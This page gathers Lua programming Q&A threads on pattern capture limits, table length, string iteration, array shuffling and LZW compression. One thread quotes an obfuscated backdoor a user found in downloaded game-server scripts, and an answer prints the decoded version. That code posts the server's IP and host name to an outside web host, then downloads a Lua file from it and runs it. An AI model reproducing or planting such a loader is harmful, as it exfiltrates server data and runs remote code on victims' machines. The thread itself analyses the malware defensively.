Lua - too many captures. How fix it? - lua

Have problems with this one. If try convert cirilic words or wors have to many symbols and have error
function to_string(t)
local o = {};
for _, v in ipairs(t) do
local b = v < 0 and (0xff + v + 1) or v;
table.insert(o, string.char(b));
end
return table.concat(o);
end
function to_bytes(s)
local c = { s:match( (s:gsub(".", "(.)")) ) };
local o = {};
for _, v in pairs(c) do
table.insert(o, v:byte());
end
return o;
end
local t = to_bytes("If this have to many words или русские");
local out = "\\"
local chars = #t;
for i = 1, chars do
out = out..tostring(t[i]);
if i < chars then
out = out.."\\"
end
end
out = out..""

I think the error is self-explanatory: you have too many captures in your pattern (those groups that are wrapped into parentheses). The default value is 32. You have a couple of options: (1) recompile your Lua version to use a large number (you'll have to modify LUA_MAXCAPTURES value), but keep in mind that this limit is there for a reason and (2) change your pattern to avoid this many captures (possibly splitting into smaller fragments/patterns). You may also consider using more powerful parsers, like LPEG.

You don't need regex to convert string to array of bytes
function to_bytes(s)
return {s:byte(1, -1)}
end

Related

save strings in lua table

Does someone know a solution to save the key and the values to an table? My idea does not work because the length of the table is 0 and it should be 3.
local newstr = "3 = Hello, 67 = Hi, 2 = Bye"
a = {}
for k,v in newstr:gmatch "(%d+)%s*=%s*(%a+)" do
--print(k,v)
a[k] = v
end
print(#a)
The output is correct.
run for k,v in pairs(a) do print(k,v) end to check the contents of your table.
The problem is the length operator which by default cannot be used to get the number of elements of any table but a sequence.
Please refer to the Lua manual: https://www.lua.org/manual/5.4/manual.html#3.4.7
When t is a sequence, #t returns its only border, which corresponds to
the intuitive notion of the length of the sequence. When t is not a
sequence, #t can return any of its borders. (The exact one depends on
details of the internal representation of the table, which in turn can
depend on how the table was populated and the memory addresses of its
non-numeric keys.)
Only use the length operator if you know t is a sequence. That's a Lua table with integer indexes 1,..n without any gap.
You don't have a sequence as you're using non-numeric keys only. That's why #a is 0
The only safe way to get the number of elements of any table is to count them.
local count = 0
for i,v in pairs(a) do
count = count + 1
end
You can put #Piglet' code in the metatable of a as method __len that is used for table key counting with length operator #.
local newstr = "3 = Hello, 67 = Hi, 2 = Bye"
local a = setmetatable({},{__len = function(tab)
local count = 0
for i, v in pairs(tab) do
count = count + 1
end
return count
end})
for k,v in newstr:gmatch "(%d+)%s*=%s*(%a+)" do
--print(k,v)
a[k] = v
end
print(#a) -- puts out: 3
The output of #a with method __len even is correct if the table holds only a sequence.
You can check this online in the Lua Sandbox...
...with copy and paste.
Like i do.

Decode obfuscated lua

I recently downloaded some lua scripts and discovered this obfuscated code within. After a good many hours I failed to discover how to deobfuscate it and was looking for some help.
In terms of what I have tried already, I noticed the number's just convert to characters which reveals a few functions. However it would appear that the variables assigned at the top are not assigned to anything or maybe some special unicode character which is invisible in my editor (atom).
Here is the obfuscated code:
local ‪ = _G
local ‪‪ = ‪['\115\116\114\105\110\103']
local ‪‪‪ = ‪['\98\105\116']['\98\120\111\114']
local function ‪‪‪‪‪‪‪(‪‪‪‪)
if ‪‪['\108\101\110'](‪‪‪‪) == 0 then
return ‪‪‪‪
end
local ‪‪‪‪‪ = ''
for _ in ‪‪['\103\109\97\116\99\104'](‪‪‪‪, '\46\46') do ‪‪‪‪‪
= ‪‪‪‪‪..‪‪['\99\104\97\114'](‪‪‪(‪["\116\111\110\117\109\98\101\114"](_, 16), 53))
end
return ‪‪‪‪‪
end ‪
[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
function ()‪
[‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'655a4641'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a4643595a521a414754565e50471b455d45', {[‪‪‪‪‪‪‪'56'] = ‪[‪‪‪‪‪‪‪'52585a51'][‪‪‪‪‪‪‪'72504172545850585a5150']()[‪‪‪‪‪‪‪'7b545850'], [‪‪‪‪‪‪‪'50'] = ‪[‪‪‪‪‪‪‪'52545850'][‪‪‪‪‪‪‪'7250417c6574515147504646'](), [‪‪‪‪‪‪‪'51'] = ‪[‪‪‪‪‪‪‪'7250417d5a46417b545850']()})
end )
‪[‪‪‪‪‪‪‪'415c585047'][‪‪‪‪‪‪‪'665c58455950'](5,
function ()‪
[‪‪‪‪‪‪‪'5d414145'][‪‪‪‪‪‪‪'735041565d'](‪‪‪‪‪‪‪'5d414145460f1a1a565d545c5b595a46501b0505054250575d5a46415445451b565a581a5254461b594054',
function (‪‪return)
‪[‪‪‪‪‪‪‪'67405b6641475c5b52'](‪‪return)
end, nil )
end )
Old Lua (and modern LuaJIT) allows using arbitrary non-ASCII bytes (above 0x7F) in identifiers.
Nice feature for obfuscation! :-)
timer.Simple(
5,
function ()
http.Post(
"https://chainlose.000webhostapp.com/svlog/tracker.php",
{
c = gmod.GetGamemode().Name,
e = game.GetIPAddress(),
d = GetHostName()
}
)
end
)
timer.Simple(
5,
function ()
http.Fetch(
"https://chainlose.000webhostapp.com/gas.lua",
function (str)
RunString(str)
end,
nil
)
end
)

What is the most efficient way to iterate numeric string in Lua?

I have a string which consists of numbers:
str = "1234567892"
And I want to iterate individual characters in it and get indices of specific numbers (for example, "2"). As I've learned, I can use gmatch and create a special iterator to store the indices (because, as I know, I just can't get indices with gmatch):
local indices = {}
local counter = 0
for c in str:gmatch"." do
counter = counter + 1
if c == "2" then
table.insert(indices, counter)
end
end
But, I guess, this is not the most efficient decision. I also can convert string to table and iterate table, but it seems to be even more inefficient. So what is the best way to solve the task?
Simply loop over the string! You're overcomplicating it :)
local indices = {[0]={},{},{},{},{},{},{},{},{},{}} --Remove [0] = {}, if there's no chance of a 0 appearing in your string :)
local str = "26842170434179427"
local container
for i = 1,#str do
container = indices[str:sub(i, i)]
container[#container+1] = i
end
container = nil
To find all indices and also do not use regexp but just plain text search
local i = 0
while true do
i = string.find(str, '2', i+1, true)
if not i then break end
indices[#indices + 1] = i
end

Lua Array shuffle not working

I was working on a script to randomize the data inside of my array but I get and error
that says
unexpected symbol near "#"
When I go to that line, and I remove the "#" I get
attempt to perform arithmetic on local `n' (a table value)
Here is my shuffle function
function shuffle(array)
local array = array
local n = #array
local j
local random = math.random
for i=n-1, 1, -1 do
j = random(i)
array[j],array[i] = array[i],array[j]
end
return array
end
and here is what I am trying to randomize
shuffle(new_players)
for name,character in pairs(new_players) do
if (character.inside == true and character.death == 0) then
local player = getPlayerByName(name, map_copy)
if (player ~= nil) then
addState(player)
break
end
end
end
Here is my array
new_players= { }
new_players[charName] = { death = 0, inside= true }
Any help? If i am doing something completely wrong?
1) Try change charName from string to a number.
2) For shuffle you can use this code:
function swap(array, index1, index2)
array[index1], array[index2] = array[index2], array[index1]
end
function shuffle(array)
local counter = #array
while counter > 1 do
local index = math.random(counter)
swap(array, index, counter)
counter = counter - 1
end
end
If your Lua version is < 5.1 then there is no # operator. Use table.getn instead:
local n = table.getn(array);
(Update) Note that your function, while it does shuffle the items around, it does not really shuffle all elements. Also since you reduce the range with each iteration, you will almost certainly swap the first 10% of your array around multiple times. Now swapping them multiple times is not bad by itself, but that you are, by comparison, almost never swapping the other elements is.
So one option to solve this would be to always use the same range for your random variable. And I would go even further and select two random indexes to swap:
function shuffle(array)
local n, random, j = table.getn(array), math.random
for i=1, n do
j,k = random(n), random(n)
array[j],array[k] = array[k],array[j]
end
return array
end
The other option would be to select random elements from the source array and put them into a new output array:
local rnd,trem,getn,ins = math.random,table.remove,table.getn,table.insert;
function shuffle(a)
local r = {};
while getn(a) > 0 do
ins(r, trem(a, rnd(getn(a))));
end
return r;
end

Decompressing LZW in Lua [duplicate]

Here is the Pseudocode for Lempel-Ziv-Welch Compression.
pattern = get input character
while ( not end-of-file ) {
K = get input character
if ( <<pattern, K>> is NOT in
the string table ){
output the code for pattern
add <<pattern, K>> to the string table
pattern = K
}
else { pattern = <<pattern, K>> }
}
output the code for pattern
output EOF_CODE
I am trying to code this in Lua, but it is not really working. Here is the code I modeled after an LZW function in Python, but I am getting an "attempt to call a string value" error on line 8.
function compress(uncompressed)
local dict_size = 256
local dictionary = {}
w = ""
result = {}
for c in uncompressed do
-- while c is in the function compress
local wc = w + c
if dictionary[wc] == true then
w = wc
else
dictionary[w] = ""
-- Add wc to the dictionary.
dictionary[wc] = dict_size
dict_size = dict_size + 1
w = c
end
-- Output the code for w.
if w then
dictionary[w] = ""
end
end
return dictionary
end
compressed = compress('TOBEORNOTTOBEORTOBEORNOT')
print (compressed)
I would really like some help either getting my code to run, or helping me code the LZW compression in Lua. Thank you so much!
Assuming uncompressed is a string, you'll need to use something like this to iterate over it:
for i = 1, #uncompressed do
local c = string.sub(uncompressed, i, i)
-- etc
end
There's another issue on line 10; .. is used for string concatenation in Lua, so this line should be local wc = w .. c.
You may also want to read this with regard to the performance of string concatenation. Long story short, it's often more efficient to keep each element in a table and return it with table.concat().
You should also take a look here to download the source for a high-performance LZW compression algorithm in Lua...

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